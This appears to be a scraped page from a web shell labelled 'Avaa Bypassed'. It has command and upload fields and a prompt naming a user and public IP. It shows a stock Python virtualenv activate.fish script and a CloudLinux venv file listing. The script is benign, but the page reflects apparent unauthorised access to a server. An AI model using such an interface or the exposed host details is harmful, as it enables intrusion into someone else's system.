404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.220.85.96: ~ $
# This file must be used with "source <venv>/bin/activate.fish" *from fish*
# (https://fishshell.com/); you cannot run it directly.

function deactivate  -d "Exit virtual environment and return to normal shell environment"
    # reset old environment variables
    if test -n "$_OLD_VIRTUAL_PATH"
        set -gx PATH $_OLD_VIRTUAL_PATH
        set -e _OLD_VIRTUAL_PATH
    end
    if test -n "$_OLD_VIRTUAL_PYTHONHOME"
        set -gx PYTHONHOME $_OLD_VIRTUAL_PYTHONHOME
        set -e _OLD_VIRTUAL_PYTHONHOME
    end

    if test -n "$_OLD_FISH_PROMPT_OVERRIDE"
        set -e _OLD_FISH_PROMPT_OVERRIDE
        # prevents error when using nested fish instances (Issue #93858)
        if functions -q _old_fish_prompt
            functions -e fish_prompt
            functions -c _old_fish_prompt fish_prompt
            functions -e _old_fish_prompt
        end
    end

    set -e VIRTUAL_ENV
    set -e VIRTUAL_ENV_PROMPT
    if test "$argv[1]" != "nondestructive"
        # Self-destruct!
        functions -e deactivate
    end
end

# Unset irrelevant variables.
deactivate nondestructive

set -gx VIRTUAL_ENV "/opt/cloudlinux/venv"

set -gx _OLD_VIRTUAL_PATH $PATH
set -gx PATH "$VIRTUAL_ENV/bin" $PATH

# Unset PYTHONHOME if set.
if set -q PYTHONHOME
    set -gx _OLD_VIRTUAL_PYTHONHOME $PYTHONHOME
    set -e PYTHONHOME
end

if test -z "$VIRTUAL_ENV_DISABLE_PROMPT"
    # fish uses a function instead of an env var to generate the prompt.

    # Save the current fish_prompt function as the function _old_fish_prompt.
    functions -c fish_prompt _old_fish_prompt

    # With the original prompt function renamed, we can override with our own.
    function fish_prompt
        # Save the return status of the last command.
        set -l old_status $status

        # Output the venv prompt; color taken from the blue of the Python logo.
        printf "%s%s%s" (set_color 4B8BBE) "(venv) " (set_color normal)

        # Restore the return status of the previous command.
        echo "exit $old_status" | .
        # Output the original/"old" prompt.
        _old_fish_prompt
    end

    set -gx _OLD_FISH_PROMPT_OVERRIDE "$VIRTUAL_ENV"
    set -gx VIRTUAL_ENV_PROMPT "(venv) "
end

Filemanager

Name Type Size Permission Actions
Activate.ps1 File 8.82 KB 0644
activate File 1.65 KB 0644
activate.csh File 913 B 0644
activate.fish File 2.14 KB 0644
alembic File 229 B 0755
chardetect File 237 B 0755
cl_sysctl File 4.51 KB 0755
clcpapi File 3.64 KB 0755
coverage File 231 B 0755
coverage-3.11 File 231 B 0755
coverage3 File 231 B 0755
cpanel-dbmapping File 3.83 KB 0755
da_suid_caller.py File 686 B 0644
detect-requirements File 238 B 0755
dodgy File 224 B 0755
epylint File 235 B 0755
f2py File 232 B 0755
f2py3 File 232 B 0755
f2py3.11 File 232 B 0755
flake8 File 230 B 0755
futurize File 231 B 0755
get_gprof File 1.84 KB 0755
get_objgraph File 1.63 KB 0755
isort File 225 B 0755
isort-identify-imports File 259 B 0755
jsonschema File 229 B 0755
lvestats_config_reader.py File 1.12 KB 0644
mako-render File 229 B 0755
normalizer File 260 B 0755
pasteurize File 233 B 0755
pip File 237 B 0755
pip3 File 237 B 0755
pip3.11 File 237 B 0755
plesk_suid_caller.py File 905 B 0644
prospector File 229 B 0755
py.test File 237 B 0755
pycodestyle File 228 B 0755
pydocstyle File 229 B 0755
pyflakes File 227 B 0755
pylint File 233 B 0755
pylint-config File 249 B 0755
pyreverse File 239 B 0755
pysemver File 225 B 0755
pytest File 237 B 0755
python File 15.59 KB 0755
python3 File 15.59 KB 0755
python3.11 File 15.59 KB 0755
raven File 235 B 0755
symilar File 235 B 0755
tap File 223 B 0755
tappy File 223 B 0755
undill File 603 B 0755
virtualenv File 254 B 0755